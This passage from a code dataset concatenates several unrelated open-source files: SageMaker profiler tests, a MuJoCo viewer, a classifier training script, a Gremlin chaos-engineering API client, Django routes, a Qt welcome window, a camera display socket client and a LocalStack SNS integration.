ctx.run(\"mkdir -p data\", hide=True)\n ctx.run(\n \"aws s3 cp s3://smdebug-testing/datasets/cifar-10-python.tar.gz data/cifar-10-batches-py.tar.gz\",\n hide=True,\n )\n ctx.run(\"aws s3 cp s3://smdebug-testing/datasets/MNIST_pytorch.tar.gz data/MNIST_pytorch.tar.gz\", hide=True)\n with ctx.prefix(\"cd data\"):\n ctx.run(\"tar -zxf MNIST_pytorch.tar.gz\", hide=True)\n ctx.run(\"tar -zxf cifar-10-batches-py.tar.gz\", hide=True)\n\n run_sm_profiler_tests(pytorch_training, profiler_tests_dir, \"test_profiler_pytorch.py\", processor)\n\n\n@pytest.mark.usefixtures(\"sagemaker_only\", \"huggingface\")\n@pytest.mark.integration(\"smprofiler\")\n@pytest.mark.model(\"N/A\")\n@pytest.mark.skipif(not is_mainline_context() and not is_rc_test_context(), reason=\"Mainline only test\")\ndef test_sm_profiler_tf(tensorflow_training):\n if is_tf_version(\"1\", tensorflow_training):\n pytest.skip(\"Skipping test on TF1, since there are no smprofiler config files for TF1\")\n processor = get_processor_from_image_uri(tensorflow_training)\n if processor not in (\"cpu\", \"gpu\"):\n pytest.skip(f\"Processor {processor} not supported. Skipping test.\")\n\n ctx = Context()\n\n profiler_tests_dir = os.path.join(\n os.getenv(\"CODEBUILD_SRC_DIR\"), get_container_name(\"smprof\", tensorflow_training), \"smprofiler_tests\"\n )\n ctx.run(f\"mkdir -p {profiler_tests_dir}\", hide=True)\n\n # Download sagemaker-tests zip\n sm_tests_zip = \"sagemaker-tests.zip\"\n ctx.run(\n f\"aws s3 cp {os.getenv('SMPROFILER_TESTS_BUCKET')}/{sm_tests_zip} {profiler_tests_dir}/{sm_tests_zip}\",\n hide=True\n )\n ctx.run(f\"cd {profiler_tests_dir} && unzip {sm_tests_zip}\", hide=True)\n\n # Install tf datasets\n ctx.run(\n f\"echo 'tensorflow-datasets==4.0.1' >> \"\n f\"{profiler_tests_dir}/sagemaker-tests/tests/scripts/tf_scripts/requirements.txt\",\n hide=True,\n )\n\n run_sm_profiler_tests(tensorflow_training, profiler_tests_dir, \"test_profiler_tensorflow.py\", processor)\n\n\nclass SMProfilerRCTestFailure(Exception):\n pass\n\n\ndef run_sm_profiler_tests(image, profiler_tests_dir, test_file, processor):\n \"\"\"\n Testrunner to execute SM profiler tests from DLC repo\n \"\"\"\n ctx = Context()\n\n # Install profiler requirements only once - pytest-rerunfailures has a known issue\n # with the latest pytest https://github.com/pytest-dev/pytest-rerunfailures/issues/128\n try:\n ctx.run(\n \"pip install -r \"\n \"https://raw.githubusercontent.com/awslabs/sagemaker-debugger/master/config/profiler/requirements.txt && \"\n \"pip install smdebug && \"\n \"pip uninstall -y pytest-rerunfailures\",\n hide=True,\n )\n except UnexpectedExit:\n # Wait a minute and a half if we get an invoke failure - since smprofiler test requirements can be flaky\n time.sleep(90)\n\n framework, version = get_framework_and_version_from_tag(image)\n\n # Conditionally set sm data parallel tests, based on config file rules from link below:\n # https://github.com/awslabs/sagemaker-debugger/tree/master/config/profiler\n enable_sm_data_parallel_tests = \"true\"\n if framework == \"pytorch\" and Version(version) < Version(\"1.6\"):\n enable_sm_data_parallel_tests = \"false\"\n if framework == \"tensorflow\" and Version(version) < Version(\"2.3\"):\n enable_sm_data_parallel_tests = \"false\"\n\n # Set SMProfiler specific environment variables\n smprof_configs = {\n \"use_current_branch\": \"false\",\n \"enable_smdataparallel_tests\": enable_sm_data_parallel_tests,\n \"force_run_tests\": \"false\",\n \"framework\": framework,\n \"build_type\": \"release\"\n }\n\n # Command to set all necessary environment variables\n export_cmd = \" && \".join(f\"export {key}={val}\" for key, val in smprof_configs.items())\n export_cmd = f\"{export_cmd} && export ENV_CPU_TRAIN_IMAGE=test && export ENV_GPU_TRAIN_IMAGE=test && \" \\\n f\"export ENV_{processor.upper()}_TRAIN_IMAGE={image}\"\n\n test_results_outfile = os.path.join(os.getcwd(), f\"{get_container_name('smprof', image)}.txt\")\n with ctx.prefix(f\"cd {profiler_tests_dir}\"):\n with ctx.prefix(f\"cd sagemaker-tests && {export_cmd}\"):\n try:\n ctx.run(\n f\"pytest --json-report --json-report-file={test_results_outfile} -n=auto \"\n f\"-v -s -W=ignore tests/{test_file}::test_{processor}_jobs\",\n hide=True,\n )\n with open(test_results_outfile) as outfile:\n result_data = json.load(outfile)\n LOGGER.info(f\"Tests passed on {image}; Results:\\n{json.dumps(result_data, indent=4)}\")\n except Exception as e:\n if os.path.exists(test_results_outfile):\n with open(test_results_outfile) as outfile:\n result_data = json.load(outfile)\n raise SMProfilerRCTestFailure(\n f\"Failed SM Profiler tests. Results:\\n{json.dumps(result_data, indent=4)}\"\n ) from e\n raise\n", "source": "johnbensnyder/deep-learning-containers", "license": "Apache-2.0"} {"text": "from rllab.mujoco_py import glfw, mjcore\nimport rllab.mujoco_py.mjconstants as C\nfrom rllab.mujoco_py.mjlib import mjlib\nfrom ctypes import byref\nimport ctypes\nfrom threading import Lock\n\nmjCAT_ALL = 7\n\n\nclass EmbeddedViewer(object):\n\n def __init__(self):\n self.last_render_time = 0\n self.objects = mjcore.MJVOBJECTS()\n self.cam = mjcore.MJVCAMERA()\n self.vopt = mjcore.MJVOPTION()\n self.ropt = mjcore.MJROPTION()\n self.con = mjcore.MJRCONTEXT()\n self.running = False\n self.speedtype = 1\n self.window = None\n self.model = None\n self.gui_lock = Lock()\n\n self.last_button = 0\n self.last_click_time = 0\n self.button_left_pressed = False\n self.button_middle_pressed = False\n self.button_right_pressed = False\n self.last_mouse_x = 0\n self.last_mouse_y = 0\n self.frames = []\n\n def set_model(self, model):\n self.model = model\n if model:\n self.data = model.data\n else:\n self.data = None\n if self.running:\n if model:\n mjlib.mjr_makeContext(model.ptr, byref(self.con), 150)\n else:\n mjlib.mjr_makeContext(None, byref(self.con), 150)\n self.render()\n if model:\n self.autoscale()\n\n def autoscale(self):\n self.cam.lookat[0] = self.model.stat.center[0]\n self.cam.lookat[1] = self.model.stat.center[1]\n self.cam.lookat[2] = self.model.stat.center[2]\n self.cam.distance = 1.0 * self.model.stat.extent\n self.cam.camid = -1\n self.cam.trackbodyid = -1\n if self.window:\n width, height = glfw.get_framebuffer_size(self.window)\n mjlib.mjv_updateCameraPose(byref(self.cam), width * 1.0 / height)\n\n def get_rect(self):\n rect = mjcore.MJRRECT(0, 0, 0, 0)\n rect.width, rect.height = glfw.get_framebuffer_size(self.window)\n return rect\n\n def record_frame(self, **kwargs):\n self.frames.append({'pos': self.model.data.qpos, 'extra': kwargs})\n\n def clear_frames(self):\n self.frames = []\n\n def render(self):\n rect = self.get_rect()\n arr = (ctypes.c_double * 3)(0, 0, 0)\n mjlib.mjv_makeGeoms(\n self.model.ptr, self.data.ptr, byref(self.objects),\n byref(self.vopt), mjCAT_ALL, 0, None, None,\n ctypes.cast(arr, ctypes.POINTER(ctypes.c_double)))\n mjlib.mjv_setCamera(self.model.ptr, self.data.ptr, byref(self.cam))\n mjlib.mjv_updateCameraPose(\n byref(self.cam), rect.width * 1.0 / rect.height)\n mjlib.mjr_render(0, rect, byref(self.objects), byref(\n self.ropt), byref(self.cam.pose), byref(self.con))\n\n def render_internal(self):\n if not self.data:\n return\n self.gui_lock.acquire()\n self.render()\n\n self.gui_lock.release()\n\n def start(self, window):\n self.running = True\n\n width, height = glfw.get_framebuffer_size(window)\n width1, height = glfw.get_window_size(window)\n self.scale = width * 1.0 / width1\n\n self.window = window\n\n mjlib.mjv_makeObjects(byref(self.objects), 1000)\n\n mjlib.mjv_defaultCamera(byref(self.cam))\n mjlib.mjv_defaultOption(byref(self.vopt))\n mjlib.mjr_defaultOption(byref(self.ropt))\n\n mjlib.mjr_defaultContext(byref(self.con))\n\n if self.model:\n mjlib.mjr_makeContext(self.model.ptr, byref(self.con), 150)\n self.autoscale()\n else:\n mjlib.mjr_makeContext(None, byref(self.con), 150)\n\n def handle_mouse_move(self, window, xpos, ypos):\n\n # no buttons down: nothing to do\n if not self.button_left_pressed \\\n and not self.button_middle_pressed \\\n and not self.button_right_pressed:\n return\n\n # compute mouse displacement, save\n dx = int(self.scale * xpos) - self.last_mouse_x\n dy = int(self.scale * ypos) - self.last_mouse_y\n self.last_mouse_x = int(self.scale * xpos)\n self.last_mouse_y = int(self.scale * ypos)\n\n # require model\n if not self.model:\n return\n\n # get current window size\n width, height = glfw.get_framebuffer_size(self.window)\n\n # get shift key state\n mod_shift = glfw.get_key(window, glfw.KEY_LEFT_SHIFT) == glfw.PRESS \\\n or glfw.get_key(window, glfw.KEY_RIGHT_SHIFT) == glfw.PRESS\n\n # determine action based on mouse button\n action = None\n if self.button_right_pressed:\n action = C.MOUSE_MOVE_H if mod_shift else C.MOUSE_MOVE_V\n elif self.button_left_pressed:\n action = C.MOUSE_ROTATE_H if mod_shift else C.MOUSE_ROTATE_V\n else:\n action = C.MOUSE_ZOOM\n\n self.gui_lock.acquire()\n\n mjlib.mjv_moveCamera(action, dx, dy, byref(self.cam), width, height)\n\n self.gui_lock.release()\n\n def handle_mouse_button(self, window, button, act, mods):\n # update button state\n self.button_left_pressed = \\\n glfw.get_mouse_button(window, glfw.MOUSE_BUTTON_LEFT) == glfw.PRESS\n self.button_middle_pressed = \\\n glfw.get_mouse_button(\n window, glfw.MOUSE_BUTTON_MIDDLE) == glfw.PRESS\n self.button_right_pressed = \\\n glfw.get_mouse_button(\n window, glfw.MOUSE_BUTTON_RIGHT) == glfw.PRESS\n\n # update mouse position\n x, y = glfw.get_cursor_pos(window)\n self.last_mouse_x = int(self.scale * x)\n self.last_mouse_y = int(self.scale * y)\n\n if not self.model:\n return\n\n self.gui_lock.acquire()\n\n # save info\n if act == glfw.PRESS:\n self.last_button = button\n self.last_click_time = glfw.get_time()\n\n self.gui_lock.release()\n\n def handle_scroll(self, window, x_offset, y_offset):\n # require model\n if not self.model:\n return\n\n # get current window size\n width, height = glfw.get_framebuffer_size(window)\n\n # scroll\n self.gui_lock.acquire()\n mjlib.mjv_moveCamera(C.MOUSE_ZOOM, 0, (-20 * y_offset),\n byref(self.cam), width, height)\n self.gui_lock.release()\n\n def should_stop(self):\n return glfw.window_should_close(self.window)\n\n def loop_once(self):\n self.render()\n # Swap front and back buffers\n glfw.swap_buffers(self.window)\n # Poll for and process events\n glfw.poll_events()\n\n def finish(self):\n glfw.terminate()\n mjlib.mjr_freeContext(byref(self.con))\n mjlib.mjv_freeObjects(byref(self.objects))\n self.running = False\n", "source": "RussellM2020/maml_gps", "license": "MIT"} {"text": "#!/bin/sh\n# */home/workspace/Image classifier/run_models.sh\n# \n# PROGRAMMER: Ainekirabo Mbabazi\n# DATE CREATED: 06/12/2019 \n# PURPOSE: Runs all three models\n# \n#\n# Usage: sh run_models.sh -- will run program from commandline\n# \npython train.py flowers --save_dir checkpoint.pth --arch vgg13 --learning_rate 0.001 --hidden_units 1000 --epochs 5 --gpu \npython predict.py 'flowers/test/28/image_05230.jpg' checkpoint.pth --top_k 5 --category_names cat_to_name.json --gpu \n\npython train.py flowers --save_dir checkpoint_1.pth --arch 'densenet201' --learning_rate 0.001 --hidden_units 1000 --epochs 5 --gpu \npython predict.py 'flowers/test/28/image_05230.jpg' checkpoint_1.pth --top_k 5 --category_names cat_to_name.json --gpu \n\npython train.py flowers --save_dir checkpoint_.pth --arch 'alexnet' --learning_rate 0.001 --hidden_units 1000 --epochs 5 --gpu \npython predict.py 'flowers/test/28/image_05230.jpg' checkpoint_.pth --top_k 5 --category_names cat_to_name.json --gpu\n", "source": "AineKiraboMbabazi/AIPND_Image_Classifier", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2020 Kyle Hultman , Gremlin Inc \n\nimport logging\n\nfrom gremlinapi.cli import register_cli_action\nfrom gremlinapi.exceptions import (\n GremlinParameterError,\n ProxyError,\n ClientError,\n HTTPTimeout,\n HTTPError,\n)\n\nfrom gremlinapi.gremlinapi import GremlinAPI\nfrom gremlinapi.http_clients import (\n get_gremlin_httpclient,\n GremlinAPIHttpClient,\n)\n\nfrom typing import Union, Type\n\nlog = logging.getLogger(\"GremlinAPI.client\")\n\n\nclass GremlinAPIKubernetesAttacks(GremlinAPI):\n @classmethod\n @register_cli_action(\"list_all_kubernetes_attacks\", (\"\",), (\"teamId\",))\n def list_all_kubernetes_attacks(\n cls,\n https_client: Type[GremlinAPIHttpClient] = get_gremlin_httpclient(),\n *args: tuple,\n **kwargs: dict,\n ) -> dict:\n method: str = \"GET\"\n endpoint: str = cls._optional_team_endpoint(\"/kubernetes/attacks\", **kwargs)\n payload: dict = cls._payload(**{\"headers\": https_client.header()})\n (resp, body) = https_client.api_call(method, endpoint, **payload)\n return body\n\n @classmethod\n @register_cli_action(\"get_kubernetes_attack\", (\"uid\",), (\"teamId\",))\n def get_kubernetes_attack(\n cls,\n https_client: Type[GremlinAPIHttpClient] = get_gremlin_httpclient(),\n *args: tuple,\n **kwargs: dict,\n ) -> dict:\n method: str = \"GET\"\n uid: str = cls._error_if_not_param(\"uid\", **kwargs)\n endpoint: str = cls._optional_team_endpoint(\n f\"/kubernetes/attacks/{uid}\", **kwargs\n )\n payload: dict = cls._payload(**{\"headers\": https_client.header()})\n (resp, body) = https_client.api_call(method, endpoint, **payload)\n return body\n\n @classmethod\n @register_cli_action(\"halt_kubernetes_attack\", (\"uid\",), (\"teamId\",))\n def halt_kubernetes_attack(\n cls,\n https_client: Type[GremlinAPIHttpClient] = get_gremlin_httpclient(),\n *args: tuple,\n **kwargs: dict,\n ) -> dict:\n method: str = \"POST\"\n uid: str = cls._error_if_not_param(\"uid\", **kwargs)\n endpoint: str = cls._optional_team_endpoint(\n f\"/kubernetes/attacks/{uid}/halt\", **kwargs\n )\n payload: dict = cls._payload(**{\"headers\": https_client.header()})\n (resp, body) = https_client.api_call(method, endpoint, **payload)\n return body\n\n @classmethod\n @register_cli_action(\"halt_all_kubernetes_attacks\", (\"\",), (\"teamId\",))\n def halt_all_kubernetes_attacks(\n cls,\n https_client: Type[GremlinAPIHttpClient] = get_gremlin_httpclient(),\n *args: tuple,\n **kwargs: dict,\n ) -> dict:\n method: str = \"POST\"\n endpoint: str = cls._optional_team_endpoint(\n \"/kubernetes/attacks/halt\", **kwargs\n )\n payload: dict = cls._payload(**{\"headers\": https_client.header()})\n (resp, body) = https_client.api_call(method, endpoint, **payload)\n return body\n\n @classmethod\n @register_cli_action(\"new_kubernetes_attack\", (\"body\",), (\"teamId\",))\n def new_kubernetes_attack(\n cls,\n https_client: Type[GremlinAPIHttpClient] = get_gremlin_httpclient(),\n *args: tuple,\n **kwargs: dict,\n ) -> dict:\n method: str = \"POST\"\n data: dict = cls._error_if_not_json_body(**kwargs)\n endpoint: str = cls._optional_team_endpoint(\"/kubernetes/attacks/new\", **kwargs)\n payload: dict = cls._payload(**{\"headers\": https_client.header(), \"body\": data})\n (resp, body) = https_client.api_call(method, endpoint, **payload)\n return body\n\n\nclass GremlinAPIKubernetesTargets(GremlinAPI):\n @classmethod\n @register_cli_action(\"list_kubernetes_targets\", (\"\",), (\"teamId\",))\n def list_kubernetes_targets(\n cls,\n https_client: Type[GremlinAPIHttpClient] = get_gremlin_httpclient(),\n *args: tuple,\n **kwargs: dict,\n ) -> dict:\n method: str = \"GET\"\n endpoint: str = cls._optional_team_endpoint(\"/kubernetes/targets\", **kwargs)\n payload: dict = cls._payload(**{\"headers\": https_client.header()})\n (resp, body) = https_client.api_call(method, endpoint, **payload)\n return body\n", "source": "exit107/gremlin-python", "license": "Apache-2.0"} {"text": "from django.contrib import admin\nfrom django.urls import path, include\nfrom django.conf.urls import url\nfrom . import views\nfrom django.urls import re_path\nfrom django.views.static import serve\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n# from project.settings import MEDIA_ROOT\nfrom project import settings\n\nurlpatterns = [\n # \u95e8\u5fc5\u987b\u5f97\u9501\u7d27\uff0c\u8bfe\u5802\u9996\u9875\u663e\u793a\u89c6\u9891\uff0c\u6709\u5206\u9875\u6240\u4ee5\u9700\u8981\u52a0\u4e0a\u9875\u7801\n url(r'^(\\d+)$', views.media),\n\n # \u4e0a\u4f20\n url(r'^upload$', views.form),\n\n # \u67d0\u89c6\u9891\n url(r'^avi(\\d+)$', views.avi),\n\n url(r'^add(\\d+)$', views.addIsee),\n\n # \u4e3b\u9875\uff0c\u66f4\u591a more\n url(r'^addok$', views.addok),\n\n url(r'^media/(?P.*)/$', serve, {'document_root': settings.MEDIA_ROOT}),\n\n ] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n", "source": "abiner/lankuai", "license": "MIT"} {"text": "import os\nimport logging\n\nfrom PyQt5 import QtCore, QtGui, QtWidgets\n\nfrom hackedit import __version__\nfrom hackedit.api.widgets import FileIconProvider\nfrom hackedit.app import common\nfrom hackedit.app.forms import welcome_window_ui\n\n\ndef _logger():\n return logging.getLogger(__name__)\n\n\nclass WelcomeWindow(QtWidgets.QMainWindow):\n \"\"\"\n This is the welcome window. This is the first visible window when starting\n the application where you have access to the open/new actions and a list\n of recent files/projects.\n \"\"\"\n def __init__(self, app):\n super().__init__()\n self.app = app\n self._ui = welcome_window_ui.Ui_MainWindow()\n self._ui.setupUi(self)\n self.setFixedSize(QtCore.QSize(865, 600))\n self.setWindowIcon(QtGui.QIcon.fromTheme(\n 'hackedit', QtGui.QIcon(':/icons/hackedit_128.png')))\n self.setWindowTitle(_('Welcome'))\n self.app.get_recent_files_manager().updated.connect(\n self.update_recents)\n self.update_recents()\n self._ui.label_version.setText(_('Version %s') % __version__)\n self._ui.list_recents.remove_current_requested.connect(\n self.on_list_recents_remove_current_requested)\n self._ui.list_recents.clear_requested.connect(\n self.on_list_recents_clear_requested)\n self._ui.bt_quit.clicked.connect(self._quit)\n if not QtGui.QIcon.hasThemeIcon('application-exit'):\n self._ui.bt_quit.setIcon(QtGui.QIcon.fromTheme('window-close'))\n\n self._ui.bt_configure.clicked.connect(self._edit_preferences)\n\n a = QtWidgets.QAction(_('Help'), self)\n a.setToolTip(_('Get some help'))\n a.setIcon(QtGui.QIcon.fromTheme('system-help'))\n self._ui.bt_help.addAction(a)\n\n a = QtWidgets.QAction(_('About'), self)\n a.setToolTip(_('About HackEdit'))\n a.setIcon(QtGui.QIcon.fromTheme('help-about'))\n a.triggered.connect(self._show_about)\n self._ui.bt_help.addAction(a)\n\n sep = QtWidgets.QAction(self)\n sep.setSeparator(True)\n self._ui.bt_help.addAction(sep)\n\n a = QtWidgets.QAction(_('Report an issue...'), self)\n a.setIcon(QtGui.QIcon.fromTheme('tools-report-bug'))\n a.setToolTip(_('Create an issue (report a bug/enhancement)'))\n a.triggered.connect(self._report_bug)\n self._ui.bt_help.addAction(a)\n\n sep = QtWidgets.QAction(self)\n sep.setSeparator(True)\n self._ui.bt_help.addAction(sep)\n\n a = QtWidgets.QAction(_('Check for update'), self)\n a.setToolTip(_('Check for update'))\n a.setIcon(QtGui.QIcon.fromTheme('system-software-update'))\n a.triggered.connect(self._check_for_update)\n self._ui.bt_help.addAction(a)\n\n self._ui.bt_new.setFocus()\n\n def __repr__(self):\n return 'WelcomeWindow()'\n\n def closeEvent(self, event):\n super().closeEvent(event)\n self.app = None\n\n def showEvent(self, event):\n \"\"\" Shows the welcome window centered on the primary screen. \"\"\"\n super().showEvent(event)\n _logger().debug('show centered')\n self.setGeometry(\n QtWidgets.QStyle.alignedRect(\n QtCore.Qt.LeftToRight,\n QtCore.Qt.AlignCenter,\n self.size(),\n QtWidgets.qApp.desktop().availableGeometry()))\n\n @QtCore.pyqtSlot()\n def _quit(self):\n self.app.quit()\n\n @QtCore.pyqtSlot(QtWidgets.QListWidgetItem)\n def on_list_recents_itemClicked(self, item):\n \"\"\"\n Opens the recent item.\n :param item: item to open\n \"\"\"\n path = item.data(QtCore.Qt.UserRole)\n _logger().debug('recent item clicked: %r', path)\n self.app.open_path(path)\n\n @QtCore.pyqtSlot()\n def on_list_recents_remove_current_requested(self):\n \"\"\" Removes the currently selected recent file \"\"\"\n filename = self._ui.list_recents.currentItem().data(\n QtCore.Qt.UserRole)\n _logger().debug('remove recent item requested: %r', filename)\n self.app.get_recent_files_manager().remove(filename)\n\n @QtCore.pyqtSlot()\n def on_list_recents_clear_requested(self):\n \"\"\" Clears the list of recent files \"\"\"\n _logger().debug('clear recents requested')\n self.app.get_recent_files_manager().clear()\n\n @QtCore.pyqtSlot()\n def on_bt_new_clicked(self):\n common.create_new(self.app, self)\n\n @QtCore.pyqtSlot()\n def on_bt_open_clicked(self):\n \"\"\" Opens a file \"\"\"\n _logger().debug('bt_open clicked')\n common.open_folder(None, self.app)\n\n @QtCore.pyqtSlot()\n def update_recents(self):\n \"\"\"\n Updates the recent files list.\n \"\"\"\n _logger().debug('update recent files list')\n if self.app is None:\n self.sender().updated.disconnect(self.update_recents)\n return\n self._ui.list_recents.clear()\n for file in self.app.get_recent_files_manager().get_recent_files():\n item = QtWidgets.QListWidgetItem()\n if os.path.ismount(file):\n item.setText(file)\n else:\n item.setText(\n '%s\\n%s' % (QtCore.QFileInfo(file).fileName(), file))\n item.setIcon(FileIconProvider().icon(\n QtCore.QFileInfo(file)))\n item.setToolTip(file)\n item.setData(QtCore.Qt.UserRole, file)\n self._ui.list_recents.addItem(item)\n\n @QtCore.pyqtSlot()\n def _show_about(self):\n common.show_about(self)\n\n @QtCore.pyqtSlot()\n def _report_bug(self):\n common.report_bug(self)\n\n @QtCore.pyqtSlot()\n def _edit_preferences(self):\n common.edit_preferences(self, self.app)\n\n @QtCore.pyqtSlot()\n def _check_for_update(self):\n common.check_for_update(self)\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "from Cell import Cell\nfrom AfferentFiber import AfferentFiber\nfrom IntFire import IntFire\nfrom IntFireMn import IntFireMn\nfrom Motoneuron import Motoneuron\n", "source": "realwsq/MuscleSpindleCircuitsModel", "license": "MIT"} {"text": "import sys, os\nimport functools\nimport signal\nimport select\nimport socket\nimport numpy as np\nimport pickle\nimport time\nimport platform\n\nfrom io import BytesIO\nfrom pylab import figure,axes,pie,title,show \nimport time\nfrom datetime import datetime\nfrom multiprocessing import Process, Queue\nimport threading\nimport queue as queue\nimport interface\nimport struct\nfrom PIL import Image \n\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtQuick import *\nfrom PyQt5.QtQml import *\n\n#GLOBALS\n# Struct is from dhm_streaming/include/CamFrame.h\n# Q = unsinged long long int\n# I = unsigned Int\nheaderStruct = struct.Struct('QQQQQQQdddddddd')\n\n\nclass guiclient(QThread):\n sig_img = pyqtSignal(int,str, np.ndarray)\n sig_hist_val = pyqtSignal(int,int)\n sig_header = pyqtSignal(int, int, int, object, int, int, int, int, int, int,float,float) #header: height, width, frameID, timestamp, gain min, gain max, exposure min, exposure max, gain, exposure, m_rate, m_rate_measured\n sig_img_complete = pyqtSignal(str)\n def __init__(self,server,port):\n QThread.__init__(self)\n super().__init__()\n\n self.sock = None \n self.exit = False\n self.maxlen = 150995023\n self.histogram =0\n self.bins = 0\n self.clientMontiorThread = None\n self.server = server\n self.port = port\n self.performance_val = 1\n self.quit = False\n self.outdata = None\n self.init = False\n self.outdata_RGB = None\n self.enable_image = True\n self.enable_histogram = True\n\n self.w = None \n self.h = None\n self.msg = None\n self.offset = None\n self.dtype = None\n\n # from CamFrame struct\n self.m_width = None\n self.m_height = None\n self.m_img_size = None \n self.m_databuffersize = None \n self.m_timestamp = None \n self.m_frame_id = None \n self.m_data = None\n self.m_logging = None\n self.m_gain = None\n self.m_gain_min = None\n self.m_gain_max = None\n self.m_exposure = None\n self.m_exposure_min = None\n self.m_exposure_max = None\n self.m_rate = None\n self.m_rate_measured = None\n\n if platform.system() == 'Linux':\n for sig in [signal.SIGTERM, signal.SIGINT, signal.SIGHUP, signal.SIGQUIT]:\n signal.signal(sig, self.signal_handler)\n\n\n\n def signal_handler(self, signal, frame):\n print(\"DHMx: Gui Thread exiting...\")\n self.exit = True\n sys.exit()\n\n\n\n # This will launch and run the Display Thread as a Qt thread\n def unpack_message(self,msg):\n self.msg = msg\n self.dtype = np.uint8\n self.w = self.m_width\n self.h = self.m_height\n self.dimensions = self.m_width,self.m_height\n #self.offset = struct.calcsize(headerStruct.format) \n self.offset = struct.calcsize(headerStruct.format)\n\n # Grab data from the DHM server...\n try:\n self.outdata = \\\n np.frombuffer\\\n (self.msg[self.offset:self.offset+self.m_img_size],\\\n dtype=self.dtype).reshape(self.dimensions)\n\n except Exception as e:\n print(\"Unable to receive full message from camera server: \",repr(e))\n return -1\n\n # make the array writable\n if platform.system() == 'Linux':\n self.outdata.setflags(write=1)\n\n if self.enable_histogram:\n # Bin historgram values together to display\n self.histogram,self.bins = np.histogram(self.outdata,bins=np.arange(0,256,1))\n for i in range(255):\n self.sig_hist_val.emit(i,self.histogram[i])\n\n if self.enable_image:\n # Create an RGB version of the received image to display\n # absolute minimums and maximums\n self.outdata_RGB = np.stack((self.outdata,)*3, axis=-1)\n self.outdata_RGB[self.outdata == 255] = [255,0,0]\n self.outdata_RGB[self.outdata == 0] = [0,0,255] \n\n # Create an image timestamp in UTC format\n current_time = datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]\n\n # Emit to Qt/QML that the processed image is ready\n # to be displayed.\n # NOTE: Had to swap the signal for width and height\n # for QML (See dhmx for more details)\n self.sig_img_complete.emit(current_time)\n self.sig_header.emit(self.m_height, self.m_width, self.m_frame_id, self.m_timestamp, self.m_gain_min, self.m_gain_max, self.m_exposure_min, self.m_exposure_max, self.m_gain, self.m_exposure, self.m_rate, self.m_rate_measured)\n self.init = True\n\n\n\n # gets index 0-255 and returns a value associated with the luma range\n # of 0 (absolute black) to 255 (absolute white)\n def get_histogram_val(self, pos):\n return self.bins[pos]\n\n\n\n def shutdown(self):\n self.clientMontiorThread.join()\n self.clientMontiorThread.close()\n print(\"Done\")\n self.terminate()\n \n\n def Connect(self):\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n connected = False\n while(connected != True):\n try:\n self.sock.connect((self.server, self.port))\n connected = True\n except:\n print(\"Could not connect to the the display server. Trying again...\")\n time.sleep(1)\n print(\"Connnected display server.\")\n self.readfds = [self.sock]\n\n def run(self):\n connected = False\n ### Continous receive of data\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n length = None\n buf = b''\n data = b''\n msg=b''\n meta = None\n totalbytes = 0\n \n # Attempt connection\n self.Connect()\n\n\n while not self.quit:\n infds, outfds, errfds = select.select(self.readfds, [], [],1)\n\n if not (infds or outfds or errfds):\n continue\n if self.exit: break\n\n for s in infds:\n if s is self.sock:\n #packet = self.sock.recv(150995023)\n packet = self.sock.recv(65535)\n if not packet:\n self.Connect()\n #self.exit = True\n #break\n data += packet\n datalen = len(data)\n \n if meta is None and datalen > struct.calcsize(headerStruct.format):\n try:\n self.m_width, \\\n self.m_height, \\\n self.m_img_size, \\\n self.m_databuffersize, \\\n self.m_timestamp, \\\n self.m_frame_id, \\\n self.m_logging, \\\n self.m_gain,\\\n self.m_gain_min,\\\n self.m_gain_max,\\\n self.m_exposure,\\\n self.m_exposure_min,\\\n self.m_exposure_max,\\\n self.m_rate,\\\n self.m_rate_measured,\\\n = headerStruct.unpack(data[0:struct.calcsize(headerStruct.format)])\n meta = (self.m_width)\n except:\n print(\"DHMx-c Diplsay: Did not receive proper header. Header missing or incomplete.\")\n return -10\n # frame data + header = full image message\n totalbytes = self.m_databuffersize + struct.calcsize(headerStruct.format)\n if datalen >= totalbytes: \n msg = data[:totalbytes]\n data = data[totalbytes:]\n \n totalbytes = 0\n self.unpack_message(msg)\n else:\n if datalen < totalbytes:\n continue\n msg = data[:totalbytes]\n data = data[totalbytes:]\n meta = None\n totalbytes = 0\n self.unpack_message(msg)\n\n\n if self.exit: break\n self.sock.close() \n\n", "source": "dhm-org/dhm_suite", "license": "Apache-2.0"} {"text": "import json\nimport logging\n\nfrom localstack import config\nfrom localstack.services.apigateway.context import ApiInvocationContext\nfrom localstack.services.apigateway.helpers import apply_template\nfrom localstack.utils.aws import aws_stack\nfrom localstack.utils.http import make_http_request\nfrom localstack.utils.strings import to_str\n\nLOG = logging.getLogger(__name__)\n\n\nclass BackendIntegration:\n \"\"\"\n Backend integration\n \"\"\"\n\n\nclass SnsIntegration(BackendIntegration):\n __slots__ = [\"invocation_context\"]\n\n def __init__(self, invocation_context: ApiInvocationContext):\n self.invocation_context = invocation_context\n\n def invoke(self):\n try:\n data = self.invocation_context.data\n data = json.dumps(data) if isinstance(data, (dict, list)) else to_str(data)\n payload = apply_template(\n self.invocation_context.integration,\n \"request\",\n data,\n path_params=self.invocation_context.path_params,\n query_params=self.invocation_context.query_params(),\n headers=self.invocation_context.headers,\n )\n except Exception as e:\n LOG.warning(\"Failed to apply template for SNS integration\", e)\n raise\n uri = (\n self.invocation_context.integration.get(\"uri\")\n or self.invocation_context.integration.get(\"integrationUri\")\n or \"\"\n )\n region_name = uri.split(\":\")[3]\n headers = aws_stack.mock_aws_request_headers(service=\"sns\", region_name=region_name)\n return make_http_request(\n config.service_url(\"sns\"), method=\"POST\", headers=headers, data=payload\n )\n", "source": "RodrigoATorres/localstack", "license": "Apache-2.0"} {"text": "# AI_Javaher\n# this is the first session of OOP tutorial\n# check the video of this code in youtube :https://www.youtube.com/watch?v=TEuEGNREGrY&t=4s\n# you can find the list of videos about OOP to tutorial in link : https://www.youtube.com/playlist?list=PLFhf3UaNX_xfQKkV3Q6R6NcPPD2LrZimo\n# you can find more videos about artificial intelligence in : https://www.youtube.com/channel/UCxKMssgH5eai60XeIuvg-dg\n###################### OOP ##########################\nimport numpy as np\n\n\nclass Work:\n def 